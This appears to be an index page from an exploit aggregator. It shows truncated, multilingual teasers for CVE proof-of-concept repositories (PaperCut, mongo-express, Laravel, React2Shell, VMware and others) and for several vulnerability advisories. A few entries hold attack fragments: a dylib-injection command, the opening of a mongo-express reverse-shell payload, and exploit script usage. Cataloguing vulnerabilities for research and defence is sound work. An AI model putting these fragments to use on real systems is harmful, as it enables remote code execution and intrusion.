CVE-2023-27350

PaperCut NG/MG RCE CVE-2023-27350 CVE-2023-27350 के लिए एक सरल बैश एक्सप्लॉइट। यह स्क्रिप्ट प्रमाणीकरण बाइपास, वातावरण तैयारी, और PaperCut प्रिंटर स्क्रिप्टिंग इंजन के माध्यम से कमांड इंजेक्शन को स्वचालित करता है। दृश्य प्रमाण बुनियादी RCE: रिवर्स शेल ट्रिगर करना: त्वरित आरंभ root@kitploit: Clone...

CVE-2024-55504

CVE-2024-55504 RAR Extractor - Unarchiver Free 및 Pro v.6.4.0의 문제로, 로컬 공격자가 MacOS에서 exploitcombined.dylib 컴포넌트를 통해 임의 코드를 주입하여 잠재적으로 원격 제어 및 민감한 사용자 데이터에 대한 무단 액세스로 이어질 수 있습니다. 재현 터미널에서 root@kitploit: DYLDINSERTLIBRARIES=exploitcombined.dylib /Applications/RAR\ Extractor\ -\ Unarchiver...

claude-code-guardrails

Wir haben inzwischen ein spezielles Produkt entwickelt, um Entwicklern zu helfen, KI-Berechtigungen besser zu verwalten, das wir als Open Source veröffentlichen wollen. Schauen Sie es sich unterstoplight.ai an. Claude Code Guardrails settings.json funktioniert, wenn: Sie mit der Bearbeitung von...

cgiemail-exploit

Cgiemail - استغلال كشف الكود المصدري/تضمين الملفات المحلي cgiecho هو سكربت مضمّن مع cgiemail، سيعيد أي ملف ضمن جذر مستندات موقع الويب إذا كان الملف يحتوي على أقواس مربعة وكان النص داخل الأقواس قابلاً للتخمين. cgiemail يُشحن حاليًا مع cPanel وهو مفعّل افتراضيًا. مثال للصفحة: root@kitploit: Success...

CVE-2023-42426

CVE आईडी: CVE-2023-42426 भेद्यता प्रकार: क्रॉस-साइट स्क्रिप्टिंग विवरण: फ्रोआला फ्रोआला एडिटर v.4.1.1 में क्रॉस-साइट स्क्रिप्टिंग XSS भेद्यता दूरस्थ हमलावरों को 'इमेज डालें' घटक में 'लिंक डालें' पैरामीटर के माध्यम से मनमाना कोड निष्पादित करने की अनुमति देती है। पुनरुत्पादन के चरण: 1. "इमेज डालें"...

CVE-2024-2053

लॉग पॉइज़निंग के माध्यम से LFI से RCE एक्सप्लॉइट Python3 एक्सप्लॉइट CVE-2024-2053 Artica Proxy के लिए 📝 विवरण यह Python3 स्क्रिप्ट लॉग पॉइज़निंग तकनीकों के माध्यम से रिमोट कोड निष्पादन RCE प्राप्त करने के लिए लोकल फ़ाइल समावेशन LFI कमजोरियों का शोषण करती है। विशेष रूप से Artica Proxy CVE-2024-205...

CVE-2019-10758

CVE-2019-10758 Execução remota de código no mongo-express, código do shell reverso como abaixo: POST BODY 1: document=this.constructor.constructor"return process".mainModule.require"childprocess".execSync"mkfifo /tmp/f" POST BODY 2： document=this.constructor.constructor"return...

CVE-2023-34039

CVE-2023-34039 POC pour CVE-2023-34039 VMWare Aria Operations for Networks vRealize Network Insight Clé SSH statique RCE Analyse Technique Une analyse de cause racine de la vulnérabilité est disponible sur mon blog : https://summoning.team/blog/vmware-vrealize-network-insight-rce-cve-2023-34039/...

laravel-8.4.2-rce

laravel-8.4.2-rce 環境のセットアップ root@kitploit: git clone https://github.com/laravel/laravel.git cd laravel git checkout e849812 composer install composer require facade/ignition==2.5.1 php artisan serve 使用方法 root@kitploit: python3 exploit.py http://pwnme.me:8000...

CVE-2025-55182

PoC do React2Shell Este repositório fornece um ambiente mínimo intencionalmente vulnerável para testar scanners de segurança contra a recente vulnerabilidade crítica de RCE React2Shell que afeta React Server Components e Next.js. CVE-2025-55182 : Uma vulnerabilidade de execução remota de código...

CVE-2020-12753-PoC

CVE-2020-12753-PoC इस रिपॉजिटरी में 🔋📱❄️🥾🔓 के लिए एक प्रूफ-ऑफ-कॉन्सेप्ट है, जो LG Stylo 4 AMZ/Q710ULM पर Secure EL3 मनमाना कोड निष्पादन के लिए एक SBL1/aboot कमजोरी है। यह केवल अपडेट 20a और 20c पर और कमजोरी के SBL1 वेरिएंट के साथ परीक्षण किया गया है। root@kitploit: - Makefile : Builds...

CVE-2025-55182

CVE-2025-55182 Questo repository contiene una riproduzione di Proof of Concept PoC per CVE-2025-55182 , una vulnerabilità critica di sicurezza in React Server Components RSC che consente l'esecuzione di codice arbitrario non autenticata. Descrizione La vulnerabilità risiede nel modo in cui React...

thrunt-god

Dal segnale, allo sciame. Nessun dio. Solo Thrunt. Sistema di comandi per threat hunting per IDE agentici. Claude Code · OpenCode · Gemini · Codex · Copilot · Cursor · Windsurf /thrunt:autonomous | un comando, caccia completa Installa · Fasi · Comandi · Flussi · Artefatti Installazione...

CVE-2025-55182

CVE-2025-55182 - React2Shell PoC CVE-2025-55182（CVSS 10.0）关键未认证远程代码执行漏洞的概念验证利用程序，影响 React Server Components。 致谢 发现者：Lachlan Davidson - 于2025年11月29日向 Meta/React 团队披露。 漏洞概述 该漏洞存在于 React Flight 协议的反序列化逻辑中。通过 HTTP POST 发送恶意负载，攻击者能够实现原型污染，进而导致在服务器上执行任意代码。 受影响版本...

pico2-swd-riscv

pico2-swd-riscv Sonda di debug SWD per core RISC-V Hazard3 RP2350. Una Pico2 esegue il debug di un'altra tramite due fili GPIO. 0. AVVISO VIBE CODE SCRITTO DA UN UMANO Circa l'80% del codice è stato fatto con vibe coding; Il readme è quasi completamente generato tranne l'intera sezione del...

EUVD-2026-67100

An issue in EcoOnline EHS com.airsweb.v10 application for Android, version 0.2.499 allows a remote attacker to obtain sensitive information and execute arbitrary code via the AndroidManifest.xml component...

EUVD-2026-67122

An issue in Bilibili Desktop v.1.17.9 allows a remote attacker to execute arbitrary code via the bili-inject.js and bili-bridge.js components...

PT-2026-82803

A flaw has been found in RooCodeInc Roo-Code up to 3.51.1. This issue affects the function path.resolve of the file src/core/tools/ApplyPatchTool.ts of the component ApplyPatchTool. This manipulation causes path traversal. It is possible to initiate the attack remotely. The exploit has been...

PT-2026-82783

The static resource interface /api/static/deployKey/ of Yu AI Code Mother v4.3 is vulnerable to path traversal. The user-controlled path is concatenated to the preview root directory without any normalization, allowing anonymous attackers to read files outside the preview root...

CVE-2026-75337

The static resource interface /api/static/deployKey/ of Yu AI Code Mother v4.3 is vulnerable to path traversal. The user-controlled path is concatenated to the preview root directory without any normalization, allowing anonymous attackers to read files outside the preview root...